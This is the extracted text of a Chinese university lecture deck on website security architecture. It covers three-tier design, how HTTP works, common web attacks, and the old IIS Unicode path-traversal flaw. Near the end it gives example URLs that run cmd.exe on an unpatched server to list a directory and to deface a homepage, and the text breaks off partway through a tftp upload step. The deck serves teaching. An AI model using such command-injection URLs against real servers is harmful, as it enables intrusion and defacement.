bit7信息系统安全架构-网站.pptx

网站安全体系架构孙建伟北京理工大学软件学院提纲网站工作原理网站架构网站与浏览器的交互Web应用攻击网页篡改注入式攻击跨站攻击Web应用安全体系架构分析输入验证网站备份恢复架构立体防护体系Web应用程序的逻辑架构三层架构(3-tier application) 通常意义上的三层架构就是将整个业务应用划分为：表现层（UI）、业务逻辑层（BLL）、数据访问层（DAL）。区分层次的目的即为了“高内聚，低耦合”的思想。　１、表现层（UI）：通俗讲就是展现给用户的界面，即用户在使用一个系统的时候他的所见所得。　２、业务逻辑层（BLL）：针对具体问题的操作，也可以说是对数据层的操作，对数据业务逻辑处理。　３、数据访问层（DAL）：该层所做事务直接操作数据库，针对数据的增、删、改、查。网站的层次结构操作系统：管理计算机平台资源Web服务器：解析HTTP请求，处理网页文件，执行动态脚本网站文件系统静态网页动态网页后台数据库HTTP 响应报文① 请求文档HTTP 请求报文建立 TCP 连接释放 TCP 连接?② 响应文档 HTTP工作原理客户浏览器 程序服务器 程序HTTP?HTTP 使用此 TCP 连接因特网Web访问工作原理(1) 浏览器分析超链指向页面的 URL。(2) 浏览器向 DNS 请求解析 的 IP 地址。(3) 域名系统 DNS 解析出清华大学服务器的 IP 地址。(4) 浏览器与服务器建立 TCP 连接(5) 浏览器发出取文件命令： GET /chn/yxsz/index.htm。(6) 服务器对此请求给出响应，把文件 index.htm 发给浏览器。(7) TCP 连接释放。(8) 浏览器显示文件 index.htm 中的所有文本。Web访问工作原理 浏览器结构从鼠标和键盘输入输出至显示器HTML解释程序驱动程序控 制 程 序…可选解释程序…缓 存HTTP 客户程序可选客户程序网 络 接 口与远地服务器通信服务器端技术实现原理HTTP请求Web浏览器Web服务器HTTP响应1.检查网页是否是动态网页2.如果是则运行其中的服务器端程序3.生成静态网页发送到客户端获取请求页本地磁盘网站成为网络攻击的焦点操作系统的复杂性已公布超过1万多个系统漏洞Web服务器的漏洞网站应用漏洞网站配置的问题网站系统设计缺乏安全性架构的支持网页的安全性设计不够注入式攻击多个应用系统不同的开发者，组织的缺陷 Web攻击事件-篡改网页 Web攻击事件-篡改数据Web攻击事件-跨站攻击 Web攻击事件-注入式攻击Web攻击事件-非法上传 常见Web攻击类型威胁手段后果注入式攻击通过构造SQL语句对数据库进行非法查询黑客可以访问后端数据库，偷窃和修改数据跨站脚本攻击通过受害网站在客户端显不正当的内容和执行非法命令黑客可以对受害者客户端进行控制，盗窃用户信息上传假冒文件绕过管理员的限制上传任意类型的文件黑客可以篡改网页、图片和下载文件等不安全本地存储偷窃cookie和session token信息黑客获取用户关键资料，冒充用户身份非法执行脚本执行系统默认的脚本或自行上传的WebShell脚本等黑客完全控制服务器非法执行系统命令利用Web服务器漏洞上执行Shell命令Execute等黑客获得服务器信息源代码泄漏利用Web服务器漏洞或应用漏洞获得脚本源代码黑客分析源代码从而更有针对性的对网站攻击URL访问限制失效黑客可以访问非授权的资源连接黑客可以强行访问一些登陆网页、历史网页 攻击手段示例之一Unicode漏洞漏洞选介 Unicode漏洞微软的IIS在Unicode字符解码的实现中存在一个安全漏洞，导致用户可以远程通过IIS执行任意命令可以复制、删除、列目录、系统配置等任何人利用普通浏览器即可发起攻击存在于Windows NT/2000 (IIS4.0/5.0)中2001年初发现，2001年8月修复漏洞原理 IIS对特殊字符URL请求的解码错误%c1%1c - (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = /%c0%2f - (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = \构造含有特殊字符的URL请求绕过IIS的路径检查可以执行或打开任意文件测试方法 测试URL 2/cmd.exe?/c+dir+d:\badou是任意一台（未打补丁的） Windows 2000主机的IIS服务器返回结果目标主机D盘下的文件目录利用漏洞列目录 利用漏洞进行攻击简单修改主页在首页内添加文字“导弹袭击” 2/cmd.exe?/c+echo+导弹袭击+c:\inetpub\wwwroot\default.htm上传非法页面用tftp工具将hack.htm上